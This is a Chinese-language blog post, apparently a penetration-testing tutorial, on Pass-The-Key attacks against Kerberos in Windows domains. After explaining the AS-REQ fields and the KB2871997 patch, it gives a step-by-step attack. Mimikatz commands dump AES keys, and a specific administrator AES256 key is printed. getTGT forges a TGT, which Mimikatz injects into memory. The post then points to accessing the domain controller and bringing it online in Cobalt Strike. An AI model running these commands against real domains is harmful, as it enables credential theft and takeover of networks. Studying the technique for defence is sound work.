点我

概述

PTK(Pass The Key),中文称之为密钥传递攻击。在PTH密钥传递攻击中,使用的是NTLM-HASH值。PTK密钥传递攻击中使用的是AES256或者AES128的方式,PTK攻击只能用于Kerberos协议认证。

原理

在kerberos协议中 PTK攻击原理

AS-REQ(AS-requests)主要包含用户的身份信息,由客户端发送给AS的数据包,其中有几个重要信息:

  • PA-DATA pA-ENC-TIMESTAMP:使用用户的hash值或者AES key加密时间戳生成的key

    PA-DATA pA-PAC-REQUEST:是否包含有pac(PAC 包含用户的SID、用户所在组等信息)

  • kdc-options:协商字段
  • cname:请求的用户名
  • realm:域名
  • sname:请求的服务名

AES KEY

AES KEY是kerberos协议中所使用的,所以一般域用户才有AES KEY。

AES分为两种 aes256和aes128,本地用户是没有aes key的

获取key的值

Mimikatz工具相关命令

privilege::debug
sekurlsa::ekeys

没有加入域环境

加入了域环境

条件

  • 域环境
  • 支持aes进行认证

KB2871997补丁

Microsoft发布了KB2871997补丁,它主要囊括了Windows 8.1和Windows Server 2012 R2中增强的安全保护机制。

所以,以往的例如:Windows 7,Windows 8,Windows Server 2008R2和Windows Server2012也可以更新该补丁后获得上述安全保护机制。

介绍增强的安全保护机制中有如下部分几点:

  • 减少存储在内存中的凭据数据
  • 支持现代身份验证(Kerberos AES)

上线

概述

PTK本质是一种认证,这种认证不具有攻击性。如果一些特殊账号的key被攻击者获取并利用PTK传递攻击,攻击者可以生成对应账户的 TGT票据,然后将票据导入到内存中,那么就可以访问目标的计算机。

使用getTGT工具申请TGT,将TGT导入到内存中,实现访问目标计算机,后续配合计划任务、添加服务等工具就可进行CS上线。

操作

1、使用mimikatz工具获取aes key值

privilege::debug
log
sekurlsa::ekeys

提示:在获取key值之前可以生成日志文件,便于查看。

administrator的key值为a6f84b64a0e722cd6bbff472a56d30132f9459f07e7d4a558a1c726ddba1f14f

2、生成TGT

使用getTGT工具进行生成

getTGT.exe 域名/用户名 -aesKey key值
getTGT.exe xbxaq.com/administrator -aesKey a6f84b64a0e722cd6bbff472a56d30132f9459f07e7d4a558a1c726ddba1f14f

执行成功之后,会生成一个.ccache的文件

3、将TGT注入到内存中

使用mimikatz工具

Kerberos::ptc 票据名字
mimikatz kerberos::ptc administrator.ccache

查看票据

mimikatz kerberos::list

4、访问域控上的c盘

接下来就是接合copy、计划任务、添加服务等技术使得目标机器上线。

分类: 内网渗透

评论

-- 评论已关闭 --

目录